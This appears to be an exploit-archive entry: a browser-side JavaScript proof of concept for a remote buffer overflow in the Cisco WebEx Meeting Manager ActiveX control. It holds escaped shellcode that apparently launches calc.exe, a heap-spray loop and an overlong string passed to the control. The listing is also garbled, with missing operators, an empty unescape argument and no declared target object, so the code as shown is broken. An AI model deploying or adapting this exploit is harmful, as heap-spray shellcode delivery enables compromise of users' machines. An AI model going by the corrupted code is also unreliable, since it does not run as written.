Cisco WebEx Meeting Manager (atucfobj.dll) ActiveX Remote BOF Exploit

<script language=javascript> // k`sOSe 08/08/2008
// tested in IE6, XP SP1
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u535c%u5359%u4554%u334d%u5c32%u4143%u434c%u452e%u4558%u4100"); var block = unescape("%u0909%u0909");
while (block.length < 0x25000) block = block; var memory = new Array(); var i=0;
for (;i<1000;i ) memory[i] = block shellcode; memory[i] = shellcode; var buf2;
for (var i=0; i<151; i ) buf2 = "X"; buf2 = unescape(" "); target.NewObject(buf2); </script>